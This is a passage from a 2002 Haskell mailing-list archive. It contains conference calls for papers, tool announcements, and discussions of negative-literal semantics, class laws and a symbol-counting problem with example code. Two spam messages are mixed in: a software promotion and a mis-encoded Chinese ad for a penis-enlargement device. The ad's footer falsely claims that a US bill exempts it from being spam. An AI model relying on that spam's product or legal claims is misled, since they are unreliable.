** Message-ID: <20020518220036K.chak@cse.unsw.edu.au> [My apologies if you receive multiple copies of this message] ------------------------------- C A L L F O R P A P E R S ** last call - submission deadline: 24th May ** ------------------------------- ACM SIGPLAN 2002 Haskell Workshop Pittsburgh, PA, USA 3rd October 2002 (as part of PLI'02) =================================== The purpose of the Haskell Workshop is to discuss experience with Haskell, and possible future development of the language. The scope of the workshop includes all aspects of the design, semantics, theory, application, implementation, and teaching of Haskell. For detailed information please consult http://www.cse.unsw.edu.au/~chak/hw2002/ Submission deadline: *** 24th May 2002 *** From Launch@Aladesc.co.uk Sat May 18 19:43:27 2002 From: Launch@Aladesc.co.uk (Aladesc Launch) Date: Sat, 18 May 2002 19:43:27 +0100 Subject: Aladesc Launch Message-ID: After two years in development Jalco Software Ltd is please to announce the launch of Aladesc - It's a Totally Fresh Outlook! Available in versions for the home and for business, Aladesc is an affordable Information and Communications Management System. If your business needs to share information easily, and with the minimum of administration overhead, then Aladesc is the solution for you. Follow the link below to download Aladesc, installation is straightforward and you can be enjoying all it's features in a few minutes. http://www.aladesc.co.uk and go to 'downloads' We'd welcome your feedback, so let us know what you think of our product by emailing us at feedback@aladesc.co.uk Kind regards The Aladesc Development Team From bogus@does.not.exist.com Sat May 18 06:00:52 2002 From: bogus@does.not.exist.com () Date: Sat, 18 May 2002 05:00:52 Subject: (no subject) Message-ID: <200205180448843.SM01188@html> Untitled Document
¾­¹ý´óÁ¿Ñо¿¹¤×÷£¬¼ÓÄôóÂê¿ÆË¹ÆóÒµÓÐÏÞ¹«Ë¾ÍƳöÐÂÒ»´úÕÅÁ¦Òõ¾¥Ôö´óÆ÷¡£Ëü²»ÓÃÊÖÊõ£¬²»ÓøºÑ¹ÆÈʹÒõ¾¥³äѪ¡¢ÎÞÍâ·óÒ©£¬ÎÞ¸±×÷Ó㬰²È«£¬×ÔÈ»£¬Ê¹Óüòµ¥£¬ÊʺÏÈκÎÄêÁä¶ÎµÄÄÐ×ÓʹÓá£ËüµÄÔ­ÀíÊÇÔÚÒ»¶¨Á¬Ðø½×¶ÎÄÚ¶¨ÆÚ¸øÒõ¾¥Ê©ÒÔÕÅÁ¦£¬ÒÔ´ïµ½Òõ¾¥¿ìËÙÓÀ¾ÃÔö´óÄ¿µÄ¡£ ÕÅÁ¦Òõ¾¥Ôö´óÆ÷²úÆ·È«²¿ÓɼÓÄÃ´ó½ø¿Ú£¬²úÆ·ÅäÓÐÖÐÎÄ˵Ã÷Êé¡£
----90ÌìÔö³¤5ÀåÃ× Ã¿¸öÄÐÐÔ¶¼Ï£ÍûÓÐÒ»¸ö˶´óµÄÒõ¾¥£¬ÒÔÕ¹ÏÖÄÐ×ÓººµÄÑô¸ÕÍþÃÍ£¬Ìá¸ßÐÔÉú»îµÄÖÊÁ¿¡£
1999-2001°æÈ¨ËùÓÐ SINO555.COM
°´ÕÕ¹ú¼Ê¹ßÀý£¬Ö»Òª±¾Óʼþ°üÀ¨¡°ÁªÏµÐÅÏ¢¡±ºÍ¡°ÒƳýÐÅÏ¢¡±£¬¾Í²»Ó¦±»¿´×öÀ¬»øÐżþ¡£Èç¹ûÄúÏëÎÒÃÇ´ÓÓʼþÁбíÖÐÒÆ³ýÄúµÄÓʼþµØÖ·£¬ÇëÓÃÄúÏëÒÆ³ýµÄÐÅÏäµã´Ë·¢ÐÅ£¬ÐżþÖ÷Ì⣺¡°Remove"£¬Èç¹û±¾Óʼþ¸øÄú´øÀ´Á˲»±ã£¬ÎÒÃÇÉî±íǸÒâ¡£
Under Bill s.1618 Title III passed by the 105th U.S. Congress this mail cannot be considered Spam as long as we include contact information and a remove link for removal from our mailing list. To be removed from our mailing list reply with "remove" and include your "original email address/addresses" in the subject heading send to here. Include complete address/addresses and/or domain to be removed. We will immediately update it accordingly. We apologize for the inconvenience if any caused.
From bjpop@cs.mu.OZ.AU Mon May 20 09:32:24 2002 From: bjpop@cs.mu.OZ.AU (Bernard James POPE) Date: Mon, 20 May 2002 18:32:24 +1000 (EST) Subject: announce: hatchet version 0.1, a type checking/inference tool for Haskell 98 Message-ID: <200205200832.SAA05837@mulga.cs.mu.OZ.AU> Hi Haskell friends, This is an announcement for Hatchet version 0.1 http://www.cs.mu.oz.au/~bjpop/hatchet.html Hatchet is a type checking and inference tool for Haskell 98. It is based on "Typing Haskell in Haskell" by Mark Jones (http://www.cse.ogi.edu/~mpj/thih/) It is incomplete, hence version 0.1, but (I think) usable. I'm making it available in the hope that it might be of use to other people. Documentation is available on the Hatchet web page. Please feel free to help make Hatchet better. Regards, Bernie. From gupta@herbrand.utdallas.edu Sat May 18 00:31:21 2002 From: gupta@herbrand.utdallas.edu (Dr. Gopal Gupta) Date: Fri, 17 May 2002 18:31:21 -0500 Subject: PADL'03: First Call for Papers Message-ID: <200205172331.g4HNVLF03398@herbrand.utdallas.edu> [- Apologies for multiple messages; - Paper submission deadline is July 31 - PADL'02 proceedings will be published as Springer Verlag LNCS, past proceedings can be found in LNCS 1551, 1753 and 1990, and 2257 ] FIRST CALL FOR PAPERS!!! Fifth International Symposium on Practical Aspects of Declarative Languages http://www.cs.utdallas.edu/~gupta/padl03 (PADL '03) New Orleans, Louisiana, USA Jan 13-14, 2002 Co-located with POPL 2003 Nothing is so practical as a good theory. Declarative languages build on sound theoretical bases to provide attractive frameworks for application development. Declarative approaches to programming include those based on logic, constraints, functions, and concurrency. Declarative languages have been successfully applied to a wide variety of real-world situations, ranging from database management to active networks to software engineering to decision support systems. New developments in theory and implementation have opened up new application areas. At the same time, applications of declarative languages to novel problems raise research issues. Questions include designing for scalability, language extensions for application deployment, and programming environments. Thus, applications drive the progress in the theory and implementation of declarative systems, and benefit from this progress as well. PADL provides a forum for researchers, practitioners, and implementors of declarative languages to exchange ideas on application areas and on the requirements for effective deployment of declarative systems. We invite papers dealing with practical applications of logic, constraint, functional, and concurrent programming. The scope of PADL includes, but is not limited to: o Innovative applications of declarative languages o Declarative domain-specific languages and applications o New developments in declarative languages and their impact on applications o Practical experiences o Novel uses of declarative languages in the classroom o Evaluation of implementation techniques on practical applications o Application letters (Applets) - see below o Declarative pearls - see below Papers should highlight the practical contribution of the work and the relevance of declarative languages to achieve that end. PADL 2003 will co-locate with ACM POPL 2003, in New Orleans. Application Letters (Applets) Real-world users of declarative languages may be so fully occupied writing declarative programs that they lack the time to write a full paper describing their work. Conference attendees often hear only from those developing declarative languages --- the users are too busy using them. In order to attract greater participation from users, the conference solicits application letters describing experience using declarative languages to solve real-world problems. Such papers might be half the length of a full paper (though any length up to a full paper is fine), and may be judged by interest of the application and novel use of declarative languages as opposed to a crisp new research result. Declarative Pearls Program committees traditionally expect a paper to make a contribution of a certain size. Ideas that are small, rounded, and glow with their own light may have a number of venues, but conferences are not typically among them. (Among the outlets have been columns such as Bentley's Programming Pearls in Communications of the ACM, Rem's Small Programming Exercises in Science of Computer Programming, and Barendregt's Theoretical Pearls and Bird's Functional Pearls in the Journal of Functional Programming.) The conference invites papers that develop a short declarative program. Such papers might be half the length of a full paper (though any length up to a full paper is fine), and may be judged by elegance of development and clarity of expression as opposed to a crisp new research result. Important Dates: o Paper Submission: Jul. 31, 2002 o Notification: Oct. 2, 2002 o Camera Ready: Nov. 6, 2002 o Symposium: Jan. 13-14, 2003 Paper Submission: Authors should submit a 100-200 word abstract and a full paper, written in English. Submissions should be no more than 15 pages in standard Springer-Verlag LNCS format: 122mm x 193mm in 10 point font, Computer Modern Roman or similar. Submissions that do not meet these guidelines may not be considered. Style files for Latex and Word are provided by Springer-Verlag. Papers should be submitted in PDF format, and be printable on both USLetter and A4 paper; details of web submission will be posted later. If this requirement is a hardship, please contact the program chairs. Each submission should include, on its first page, the paper title; authors and their affiliations; contact author's email and postal addresses, telephone and fax numbers; and a 100-200 word abstract. The abstract will be used to assist us in selecting appropriate reviewers for the paper. Submitted papers should have content that has not previously been published in other conferences or refereed venues, and simultaneous submission to other conferences or refereed venues is unacceptable. Each paper should explain its contributions in both general and technical terms, clearly identifying what has been accomplished, saying why it is significant, and comparing it with previous work. Authors should strive to make the technical content of their papers understandable to a broad audience. Program Committee: o Lennart Augustsson, Sandburst, USA o Phillipe Blache, CNRS & Universite de Provence, France o Veronica Dahl, Simon Fraser University, Canada (PROGRAM CO-CHAIR) o Ines Dutra, Universidade Federal do Rio de Janeiro, Brazil o Kathleen Fisher, AT&T Labs, USA o Matthew Flatt, University of Utah, USA o Juliana Freire, Bell Laboratories, USA o Matteo Frigo, Massachusetts Institute of Technology, USA o Terry Gaasterland, Argonne National Laboratory and University of Chicago, USA o Alejandro Garcia, Universidad Nacional del Sur, Argentina o Manuel Hermenegildo, Universidad Politecnica de Madrid, Spain o John Hughes, Goteborg University, Sweden o Neil Jones, University of Copenhagen, Denmark o Shriram Krishnamurthi, Brown University, USA o Naoki Kobayashi, Tokyo Institute of Technology, Japan o George Necula, University of California at Berkeley, USA o Luis Moniz, Pereira Universidade Nova de Lisboa, Portugal o Paul Tarau, BinNet Corporation and University of North Texas, USA o Philip Wadler, Avaya Labs, USA (PROGRAM CO-CHAIR) o David S. Warren, State University of New York at Stony Brook, USA For more Information, please contact Philip Wadler Avaya Labs wadler@avaya.com 233 Mount Airy Road, room 2C05 http://www.research.avayalabs.com/user/wadler/ Basking Ridge, NJ 07920 USA office: +1 908 696 5137 fax: +1 908 696 5402 Organizer: Gopal Gupta (University of Texas at Dallas) Sponsored by: Compulog Americas, Association for Logic Programming From gupta@herbrand.utdallas.edu Sat May 18 00:33:11 2002 From: gupta@herbrand.utdallas.edu (Dr. Gopal Gupta) Date: Fri, 17 May 2002 18:33:11 -0500 Subject: CLPSE'02: Call for papers Message-ID: <200205172333.g4HNXBh03402@herbrand.utdallas.edu> [Apologies for multiple messages. Please note that the deadline is May 31, which is fast approaching.] CLPSE'02: (Constraint) Logic Programming and Software Engineering http://www.utdallas.edu/~gupta/clpse July 28, 2002 COPENHAGEN, DENMARK In Conjunction with Eighteenth International Conference on Logic Programming (Part of FLOC'02) http://floc02.diku.dk/ICLP/ The aim of this workshop is to explore applications of logic programming and constraint programming to the process of constructing reliable software and to programming-in-the-large. Papers and experience reports describing use of LP and CP techniques to various aspects of the software engineering process are invited. The workshop will be held on Saturday, July 28, 2002, in conjunction with 18th International Conference on Logic Programming in Copenhagen, Denmark (held Jul 29 - Aug 1) and is a continuation of the successful CLPSE'00 workshop held during CL2000 in London, England, in July 2000 (http://www.cs.nmsu.edu/~gupta/lpse2000) and CLPSE'01 workshop held during ICLP'01 in Paphos, Cyprus (http://www.cs.utdallas.edu/~gupta/clpse/clpse01.html) Topics of interest include (but are not limited to): o Rapid prototopying and System Modeling o Software Design Methodologies o Software Specification o Domain Specific Languages o Derivation of Efficient Implementations from Specifications o Automatic Software Generation o Testing and Debugging o Test Case Generation o Software Verification o Software Process Discovery o Software Reuse o Analysis of Software Systems/Software Process o Software Quality Assurance o Requirements Analysis o Security Issues Paper Submission deadline: May 31, 2002 Notification of acceptance/rejection: June 7th, 2002 Submission procedure: Electronically submit a postscript, pdf, or a word file to gupta@utdallas.edu. Papers should be a maximum of 15 pages. Proceedings will be made available during the workshop. Organizers: Gopal Gupta, University of Texas, Dallas, USA Kung-Ku Lau, Manchester University , UK Isidros Ramos, Universidad Politecnica de Valencia, Spain Roel Wuyts, University of Berne, Switzerland From ralf@informatik.uni-bonn.de Mon May 20 12:55:10 2002 From: ralf@informatik.uni-bonn.de (Ralf Hinze) Date: Mon, 20 May 2002 13:55:10 +0200 Subject: WAAAPL 2002, final call for papers Message-ID: <200205201355.10791.ralf@informatik.uni-bonn.de> Apologies if you receive multiple copies... =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D FINAL CALL FOR PAPERS =09=09=09 ACM SIGPLAN WAAAPL 2002 [Deadline for submission: 3rd June 2002] Workshop on Algorithmic Aspects of Advanced Programming Languages Part of PLI'02 Pittsburgh, PA, USA Monday, October 7 http://www.cs.uni-bonn.de/~ralf/waaapl02.{html,pdf,ps,dvi,txt} =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Scope ----- WAAAPL (pronounced "wapple") seeks papers on all aspects of the design, analysis, evaluation, or synthesis of algorithms or data structures in the context of advanced programming languages, such as functional or logic languages, where traditional algorithms or data structures may be awkward or impossible to apply. Possible topics include (but are not limited to): o new algorithms or data structures, o empirical studies of existing algorithms or data structures, o new techniques or frameworks for the design, analysis, evaluation, or synthesis of algorithms or data structures, o applications or case studies, o pedagogical issues (language aspects of teaching algorithms or algorithmic aspects of teaching languages). A previous WAAAPL workshop has been held in Paris (1999). Submission details ------------------ Deadline for submission: 3rd June 2002 Notification of acceptance: 1st July 2002 Final submission due: 1st August 2002 WAAAPL Workshop: 7th October 2002 Authors should submit papers of at most 12 pages, in postscript format, formatted for A4 paper, to Ralf Hinze (ralf@cs.uni-bonn.de) or Chris Okasaki (Christopher.Okasaki@usma.edu) by 3rd June 2002. The proceedings will be published by ACM and will appear in the ACM digital library. Programme committee ------------------- Richard Bird Oxford University Michael Hanus University of Kiel Ralf Hinze University of Bonn (co-chair) Zhenjiang Hu University of Tokyo Haim Kaplan Tel Aviv University Chris Okasaki United States Military Academy (co-chair) Melissa O'Neill Harvey Mudd College =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D From Malcolm.Wallace@cs.york.ac.uk Mon May 20 18:45:32 2002 From: Malcolm.Wallace@cs.york.ac.uk (Malcolm Wallace) Date: Mon, 20 May 2002 18:45:32 +0100 Subject: Negative literals and the meaning of case -2 of -2 -> True In-Reply-To: <3CE43217.50107@cse.ogi.edu> References: <3CE43217.50107@cse.ogi.edu> Message-ID: <20020520184532.4a9f3200.Malcolm.Wallace@cs.york.ac.uk> Thomas Hallgren writes: > * hugs Dec 2001: main outputs: (FromInteger (-2),True) > * ghc 5.02.2: main outputs: (FromInteger (-2),True) > * hbc 0.9999.5b: main outputs: (Negate (FromInteger 2),False) > * nhc98 1.12: compiler outputs: Fail: What? matchAltIf at 7:13 > > From this I conclude that hbc is the only Haskell implementation that > treats negated literals in expressions in accordance with the report, > but it treats negated literals in patterns differently. Hugs and ghc > treat expressions and patterns consistently, but they disagree with the > report. Nhc98 appears to be buggy. nhc98 (1.12) does appear to have a slight bug here, but it is only in the compilation of the pattern-match. If you exclude the pattern from your test, the output is (Negate (FromInteger 2)), which agrees with hbc and the Report. In addition, the CVS version now has a fix for the pattern-match bug, and the result of trueOrFalse is True, as expected. Regards, Malcolm From wolfgang@jeltsch.net Tue May 21 00:12:00 2002 From: wolfgang@jeltsch.net (Wolfgang Jeltsch) Date: 21 May 2002 01:12:00 +0200 Subject: Equivalence in class laws Message-ID: <1021936312.1682.135.camel@localhost.localdomain> Hello, instances of classes are required to fulfill certain laws. These laws are usually given in the form t = t' where t and t' are terms. My question is what the exact meaning of the = is. Does it mean that evaluation of the terms must lead to equal results regarding (==)? But if this is the case, what about terms of types which aren't instances of Eq? Furthermore, wouldn't equivalence be undefined if at least one of the two terms is _|_. Or does the = mean that the results of both terms must have exactly the same structure. But if this is true, what would it mean that two functions have the same structure? Does the = even include that all free variables occuring in t and/or t' must be evaluated the same way? In the following example, for instance, f x and g x wouldn't be equivalent according to the last definition although they would yield the same result for every x: f :: () -> () f _ = undefined g :: () -> () g () = undefined When evaluating f x, nothing of x would be evaluated which wouldn't be the case when evaluating g x. So x is not evaluated the same way in f x and g x but both terms always yield the same result (always _|_). Consider replacing each of the two occurences of undefined above by (). The difference in the evaluation of x would now result in different results of f x and g x if x = undefined. f x would be () and g x would be _|_. Where difference in free variable evaluation causes difference in term results there requirement of result equivalence of course includes requirement of "free variable evaluation equivalence". In these cases the second and the third definition approach from the beginning of this mail would be equivalent. Now let's consider the Monad/MonadPlus law m >>= \x -> mzero = mzero and the monadic instances of []. Here we have the case that evaluation behaviour of m is not the same for both terms. (The second term doesn't even contain m and therefore does no evaluation of m at all which is of course not true for the first term.) And here the different evaluation behaviour of m results in both terms not having the same result for every m. For example undefined >>= \x -> mzero is not mzero but _|_. You may also take a term like [1 ..] >>= \x -> mzero which maybe looks harmless but also has _|_ as result. Does this mean that [] doesn't satisfy the Monad/MonadPlus laws? I'm interested in your answers regarding all these questions. Wolfgang From ketil@ii.uib.no Tue May 21 08:46:19 2002 From: ketil@ii.uib.no (Ketil Z. Malde) Date: 21 May 2002 09:46:19 +0200 Subject: Class Multiplicity In-Reply-To: <200205170648.XAA01397@mail4.halcyon.com> References: <200205170648.XAA01397@mail4.halcyon.com> Message-ID: Ashley Yakeley writes: > I have a curious Haskell design pattern. It's called "one class per > function". [...] > I'm not sure if this is a good thing or a bad thing or what. In many cases, I think a finer split would be advantageous, e.g. the much-debated "Num". One obvious disadvantage is that a lot of inferred type classes may become less readable (:t saying "Num a => .." is probably more informative for many than "CommutativeRing a => ..") -kzm -- If I haven't seen further, it is by standing in the footprints of giants From matush23@netscape.net Tue May 21 19:48:28 2002 From: matush23@netscape.net (matush23@netscape.net) Date: Tue, 21 May 2002 14:48:28 -0400 Subject: (no subject) Message-ID: <10906ED4.4249122E.009FF9B7@netscape.net> Hi. Im a new haskell user, I already have gfl library, and I need instructions to manage it, and some examples, as prim, djikstra, kirchkoff. Thanks __________________________________________________________________ Your favorite stores, helpful shopping tools and great gift ideas. Experience the convenience of buying online with Shop@Netscape! http://shopnow.netscape.com/ Get your own FREE, personal Netscape Mail account today at http://webmail.netscape.com/ From gw2@types.bu.edu Tue May 21 18:13:07 2002 From: gw2@types.bu.edu (Geoff Washburn) Date: Tue, 21 May 2002 13:13:07 -0400 (EDT) Subject: Web-based Interface for Experimenting with System I Message-ID: We would like to announce the availability of a web-based interface to software for experimenting with automated type inference for System I, a type system for the pure lambda calculus with intersection types and the new technology of _expansion_variables_. System I is the starting point for our current and future research on compositional program analysis. We believe it is a good approach to compositional analysis because it has the _principal_typings_ property (which is much stronger than and not to be confused with the property of ML-like languages often referred to by the name of "principal types"). The web interface can be found at: http://types.bu.edu/modular/compositional/experimentation-tool/ More information on our related research agenda and software for download are available at: http://types.bu.edu/modular/compositional/ Geoff Washburn, Assaf Kfoury, Joe Wells (just a few of the members of the Church Project) From mark@austrics.com.au Thu May 23 08:14:25 2002 From: mark@austrics.com.au (Mark Phillips) Date: Thu, 23 May 2002 16:44:25 +0930 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? Message-ID: <3CEC96D1.6070000@austrics.com.au> Hi, I am new to Haskell and am having some difficulty with the following problem. Suppose I have a list of "symbols", except that each symbol is paired with a "multiplicity". Ie, we have a list of type [(a,Int)]. I want to use these symbols to "count". Let me explain what I mean by count with the following example. Suppose we have symbol list [(x,1),(y,2),(z,1)]. This tells us that * we have three symbols, namely x, y and z * the symbols are ordered, namely x < y < z * with any "counting figure" the symbol x may appear at most once, the symbol y at most twice and the symbol z at most once (a "counting figure" is just a list of symbols, these symbols forming the "digits") * any "counting figure" will have between 0 and 1+2+1=4 "digits" (symbols) * the "counting figures" are ordered; the fewer the number of "digits" the "smaller" the figure; for figures with the same number of digits ordering is based on the symbol ordering, the left-most digit being "most significant", second-left being "second-most significant" and so on. We "count" as follows: [] [x] [y] [z] [x,y] [x,z] [y,x] [y,y] [y,z] [z,x] [z,y] [x,y,y] [x,y,z] [x,z,y] [y,x,y] [y,x,z] [y,y,x] [y,y,z] [y,z,x] [y,z,y] [z,x,y] [z,y,x] [z,y,y] [x,y,y,z] [x,y,z,y] [x,z,y,y] [y,x,y,z] [y,x,z,y] [y,y,x,z] [y,y,z,x] [y,z,x,y] [y,z,y,x] [z,x,y,y] [z,y,x,y] [z,y,y,x] and then start back at the beginning again (with []). I want to define a function next :: [(a,Int)] -> [a] -> [a] which finds the next list in the the "counting sequence". So for example we should get next [(x,1),(y,2),(z,1)] [] == [x] next [(x,1),(y,2),(z,1)] [z,y] == [x,y,y] next [(x,1),(y,2),(z,1)] [x,y,y,z] == [x,y,z,y] next [(x,1),(y,2),(z,1)] [z,y,y,x] == [] etc My question is, what is the best way to code this in Haskell? Can it be done efficiently? Also, is my representation of symbols and multiplicities the best method? Would I be better to represent them as two lists say, and in reverse order say: ie [z,y,x] and [1,2,1]. Or is there another better way to frame the whole problem? Cheers, Mark. -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From reid@cs.utah.edu Thu May 23 13:11:37 2002 From: reid@cs.utah.edu (Alastair Reid) Date: 23 May 2002 13:11:37 +0100 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? In-Reply-To: <3CEC96D1.6070000@austrics.com.au> References: <3CEC96D1.6070000@austrics.com.au> Message-ID: This looked like a fun problem. Here's a solution and some comments on how I went about solving it. -- Alastair Reid Reid Consulting (UK) Ltd > import List( nub ) > import Maybe( fromMaybe, fromJust ) It seems like your enumerations have two constraints: 1) They have to obey the multiplicity constraint. 2) They have to obey the ordering constraint. Let's tackle them one at a time: [Metanote: a common way to write Haskell programs is sort of bottom up: identify the core concepts, build up a library of useful code for representing and manipulating those concepts and try to explore a little of the algebraic properties of the concepts, then look to see if this makes the problem easy yet.] An alternative representation would be [a] where counts are represented by repetition. Not clear which is better. > type Multiplicity a = [(a,Int)] For the sake of testing, here's a sample multiplicity: > m1 :: Multiplicity Char > m1 = [('x',1),('y',2),('z',1)] Extract a multiplicity from a list with duplicates > counts :: Eq a => [a] -> Multiplicity a > counts as = [ (a, length (filter (==a) as)) | a <- List.nub as ] Extract count from a multiplicity Use 0 if not present rather than raising error because it saves having to litter callers with guard code. > count :: Eq a => Multiplicity a -> a -> Int > count m a = fromMaybe 0 (lookup a m) Ordering on two multiplicities: when is one <= another? > le :: Eq a => Multiplicity a -> Multiplicity a -> Bool > m1 `le` m2 = and [ n <= count m2 a | (a,n) <- m1 ] and, of course, equality: > eq :: Eq a => Multiplicity a -> Multiplicity a -> Bool > eq m1 m2 = m1 `le` m2 && m2 `le` m1 Finally, we can check that a list satisfies the multiplicity constraint. > countok :: Eq a => Multiplicity a -> [a] -> Bool > countok m as = counts as `le` m Now onto the ordering constraint. If I replace your symbols with digits and ignore the multiplicity constraint, the enumerations would look something like this. 0, 1, 2, 10, 11, 12, 20, 21, 22, ... In other words, I can find the next element in a list just by incrementing the list elements. Let's consider that first (since it is easier). A number is a list of digits _in reverse order_ > type Digit = Int > type Number = [Digit] Debugging/checking is easier if the numbers look like numbers so let's define some printing functions: > showNumber :: Number -> String > showNumber = concat . map show . reverse > showNumbers :: [Number] -> String > showNumbers = concat . map (++"\n") . map showNumber Counting to infinity: > incN :: Number -> Number > incN (9:ds) = 0 : incN ds > incN (d:ds) = d+1 : ds > incN [] = incN [0] We can enumerate all numbers by iterating: > numbers :: [Number] > numbers = iterate incN [0] Printing this on the screen, we can easily see that we got it right. > testN = putStr $ showNumbers (take 110 numbers) Now let's tackle the real problem. Lists of symbols are called figures. As before, we use reversed lists > type Figure a = [a] > showFigure :: Show a => Figure a -> String > showFigure = concat . map show . reverse > showFigures :: Show a => [Figure a] -> String > showFigures = concat . map (++"\n") . map showFigure Symbols are elements of a methematical structure that have a first element, a final element and an increment function. [I'm making this a 1st class structure because I want to be able to share the symbols structure between multiple invocations of next. I will use this structure a lot like the way I would a typeclass - except that I will explicitly create my own instance.] > data Symbols a = Symbols{ > first :: a, > final :: a, > inc :: a -> a > } We can turn a multiplicity into a Symbols structure quite easily > mkSymbols :: Eq a => Multiplicity a -> Symbols a > mkSymbols m = Symbols{ > first = fst (head m), > final = fst (last m), > inc = nxt m > } The nxt function is a bit inefficient. We're hampered here by polymorphism: if all you can do is an equality test, you can't do better than a linear time lookup. A binary tree could be used instead of the zip if we had an Ord instance; an array if we had an Ix instance. > nxt :: Eq a => Multiplicity a -> a -> a > nxt m a = fromJust (lookup a (zip m' (tail m'))) > where > m' = map fst m And now we copy the incN function and tweak it to use the Symbols structure: > incF :: Eq a => Symbols a -> Figure a -> Figure a > incF s (d:ds) | d == final s > = first s : incF s ds > incF s (d:ds) = (inc s) d : ds > incF s [] = [first s] -- slight difference here We make one slight change in the process. With numbers, we treat the white space at the left of a number as an infinite sequence of 0's. That's why we wrote: incN [] = incN [0] We don't do that here. We can enumerate all figures by iterating: > figures :: Eq a => Symbols a -> [Figure a] > figures s = iterate (incF s) [] Printing this on the screen, we can easily see that we got it right. > testF f = putStr $ showFigures (take 110 f) Now let's pop up a level and see if we have enough bits to solve the whole problem. So far I've ignored the importance of going back to the start when you reach the maximum multiplicity. For this we need the maximum figure of a given multiplicity: > maxF :: Multiplicity a -> Figure a > maxF [] = [] > maxF ((a,n):m) = replicate n a ++ maxF m [This takes both a multiplicity and a symbols structure as argument because we want efficient access to both.] > incF2 :: Eq a => Multiplicity a -> Symbols a -> Figure a -> Figure a > incF2 m s f | f == maxF m = [] > incF2 m s f | otherwise = incF s f > testF2 m = testF (iterate (incF2 m (mkSymbols m)) []) We've also ignored the importance of the multiplicity constraint. We can enforce this by discarding any result of incF2 which fails the constraint. > incF3 :: Eq a => Multiplicity a -> Symbols a -> Figure a -> Figure a > incF3 m s f = head (filter (countok m) (tail (iterate (incF2 m s) f))) > testF3 m = testF (iterate (incF3 m (mkSymbols m)) []) This works but it seems a bit inefficient to do a linear search for the next valid successor. I have an inkling of how to do that but I'll leave it for someone else. Mark Phillips writes: | Hi, I am new to Haskell and am having some difficulty with the | following problem. | Suppose I have a list of "symbols", except that each symbol is | paired with a "multiplicity". Ie, we have a list of type [(a,Int)]. | I want to use these symbols to "count". Let me explain what I mean | by count with the following example. | Suppose we have symbol list [(x,1),(y,2),(z,1)]. This tells us that | * we have three symbols, namely x, y and z * the symbols are | ordered, namely x < y < z * with any "counting figure" the symbol x | may appear at most once, the symbol y at most twice and the symbol z | at most once (a "counting figure" is just a list of symbols, these | symbols forming the "digits") * any "counting figure" will have | between 0 and 1+2+1=4 "digits" (symbols) * the "counting figures" | are ordered; the fewer the number of "digits" the "smaller" the | figure; for figures with the same number of digits ordering is based | on the symbol ordering, the left-most digit being "most | significant", second-left being "second-most significant" and so on. | We "count" as follows: [] [x] [y] [z] [x,y] [x,z] [y,x] [y,y] [y,z] | [z,x] [z,y] [x,y,y] [x,y,z] [x,z,y] [y,x,y] [y,x,z] [y,y,x] [y,y,z] | [y,z,x] [y,z,y] [z,x,y] [z,y,x] [z,y,y] [x,y,y,z] [x,y,z,y] | [x,z,y,y] [y,x,y,z] [y,x,z,y] [y,y,x,z] [y,y,z,x] [y,z,x,y] | [y,z,y,x] [z,x,y,y] [z,y,x,y] [z,y,y,x] and then start back at the | beginning again (with []). | I want to define a function next :: [(a,Int)] -> [a] -> [a] | which finds the next list in the the "counting sequence". So for | example we should get | next [(x,1),(y,2),(z,1)] [] == [x] next [(x,1),(y,2),(z,1)] [z,y] == | [x,y,y] next [(x,1),(y,2),(z,1)] [x,y,y,z] == [x,y,z,y] next | [(x,1),(y,2),(z,1)] [z,y,y,x] == [] etc | My question is, what is the best way to code this in Haskell? Can | it be done efficiently? | Also, is my representation of symbols and multiplicities the best | method? Would I be better to represent them as two lists say, and | in reverse order say: ie [z,y,x] and [1,2,1]. Or is there another | better way to frame the whole problem? From vickylover@hotmail.com Thu May 23 14:38:17 2002 From: vickylover@hotmail.com (Jos Mistiaen) Date: Thu, 23 May 2002 13:38:17 +0000 Subject: Prob with numeric values Message-ID: Hello, I m having some difficulties with the following thing: I've made a class which looks somehow like this: class A a where inc::a->a .... now, when I want to make a instance of it with type Int and define the function inc like this: instance A Int where inc a = a + 1 I can't make a call to it when I enter the folowing inc 5 (When I type inc 5::Int it does the job perfectly, because I explicitly say 5 is an Integer, but how can I tell the program 5 is an Int?????ithout saying it explicitly in the prompt) What s being the problem here?? Am I overlooking something here? If you can help me... don't hesitate to contact me Thx, a haskell-lover _________________________________________________________________ Verzend en ontvang Hotmail via je mobieltje: http://mobile.msn.com From d95mback@dtek.chalmers.se Thu May 23 14:46:08 2002 From: d95mback@dtek.chalmers.se (Martin =?ISO-8859-1?Q?Norb=E4ck?=) Date: 23 May 2002 15:46:08 +0200 Subject: Prob with numeric values In-Reply-To: References: Message-ID: <1022161568.13913.4.camel@caesar.safelogic.se> --=-0vgXLGZfLD2s83Z5shvM Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable tor 2002-05-23 klockan 15.38 skrev Jos Mistiaen: > Hello, >=20 > I m having some difficulties with the following thing: >=20 > I've made a class which looks somehow like this: > class A a where > inc::a->a > .... >=20 > now, when I want to make a instance of it 